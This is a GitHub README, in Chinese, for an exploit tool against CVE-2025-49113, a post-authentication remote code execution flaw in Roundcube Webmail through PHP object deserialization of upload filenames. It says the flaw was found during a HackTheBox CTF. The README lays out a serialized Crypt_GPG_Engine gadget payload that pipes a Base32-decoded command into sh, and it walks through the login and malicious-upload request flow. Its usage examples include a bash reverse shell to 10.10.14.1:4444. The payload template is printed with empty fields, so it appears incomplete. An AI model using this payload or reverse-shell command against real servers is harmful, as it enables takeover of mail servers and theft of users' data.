rippsec/CVE-2025-49113-Roundcube-RCE
GitHub: rippsec/CVE-2025-49113-Roundcube-RCE
针对 CVE-2025-49113 的利用工具,实现 Roundcube 的认证后 RCE。
Stars: 0 | Forks: 0
# CVE-2025-49113 — Roundcube Post-Auth RCE via PHP 对象反序列化
## 概述
| 字段 | 详情 |
|---|---|
| **CVE** | CVE-2025-49113 |
| **软件** | Roundcube Webmail |
| **受影响版本** | ≤ 1.6.10 |
| **漏洞类型** | PHP 对象反序列化 → RCE |
| **认证要求** | 需要(任意有效用户) |
| **影响** | 服务器上的远程代码执行 |
| **上下文** | 在 HackTheBox CTF 期间发现 |
## 描述
Roundcube Webmail 版本直到 1.6.10(含)均存在认证后远程代码执行漏洞。文件上传处理程序会反序列化嵌入在上传附件文件名中的 PHP 对象。通过构造包含序列化 `Crypt_GPG_Engine` 对象的恶意文件名,认证攻击者可在文件名被处理时触发任意命令执行。
## 技术细节
### 漏洞类别
PHP 对象反序列化(CWE-502)。Roundcube 的文件上传端点会将客户端提供的文件名直接通过反序列化路径处理,而未进行验证。`Crypt_GPG_Engine` 类存在于 Roundcube 的依赖链中,可作为可用的 gadget 链。
### Gadget 链
`Crypt_GPG_Engine` 类包含一个 `_gpgconf` 属性,该属性会在对象销毁/初始化时被传递到系统级调用。通过序列化一个实例并精心构造 `_gpgconf` 值,攻击者可强制执行命令。
```
Serialized payload format:
|O:16:"Crypt_GPG_Engine":3:{
s:8:"_process"; b:0;
s:8:"_gpgconf"; s::" | base32 -d | sh ";
s:8:"_homedir"; s:0:"";
}
```
命令经过 Base32 编码,以避免在文件名字段中引发特殊字符问题。
### 攻击流程
```
Attacker (authenticated)
│
▼
GET /?_task=login → Fetch CSRF token + session cookie
│
▼
POST /?_task=login → Authenticate with valid credentials
│
▼
POST /?_task=settings&_action=upload
Content-Disposition: filename=""
│
▼
Server deserializes filename → Crypt_GPG_Engine instantiated
│
▼
_gpgconf executed → OS command runs as webserver user
```
### 为何使用 Base32?
命令经过 Base32 编码,以避免破坏多部分文件名字段中的字符(引号、斜杠等)。在服务器上最终执行的命令为:
```
echo "" | base32 -d | sh
```
## 用法
```
python3 exploit.py -u -p -i -x
```
| 参数 | 描述 |
|---|---|
| `-u` | Roundcube 用户名 |
| `-p` | Roundcube 密码 |
| `-i` | 目标 URL(例如 `http://mail.target.htb`) |
| `-x` | 在服务器上执行的命令 |
### 示例
```
# 以 web server 用户身份检查代码执行
python3 exploit.py -u admin -p password -i http://mail.target.htb -x "id"
# 反向连接
python3 exploit.py -u admin -p password -i http://mail.target.htb \
-x "bash -c 'bash -i >& /dev/tcp/10.10.14.1/4444 0>&1'"
```
## 依赖项
无需外部库 — 仅使用 Python 标准库(`http.client`、`urllib`、`base64` 等)。
## 概念验证
```
$ python3 exploit.py -u bob -p letmein -i http://mail.target.htb -x "id"
[*] Starting Roundcube exploit (CVE-2025-49113)
[*] Fetching CSRF token...
[+] Got CSRF token: abc123...
[*] Authenticating...
[+] Authentication successful
[*] Executing command: id
[+] Exploit completed. Check target for command execution.
```
## 参考
- [NVD 条目](https://nvd.nist.gov/vuln/detail/CVE-2025-49113)
- [Roundcube 官方网站](https://roundcube.net)
标签:Base32编码, Crypt_GPG_Engine, CSRF, CVE-2025-49113, CWE-502, HackTheBox, OpenVAS, PHP, Post-Auth, RCE, Roundcube, Webmail, 命令执行, 安全测试, 对象反序列化, 攻击性安全, 文件上传, 编程工具, 认证绕过, 远程代码执行, 逆向工具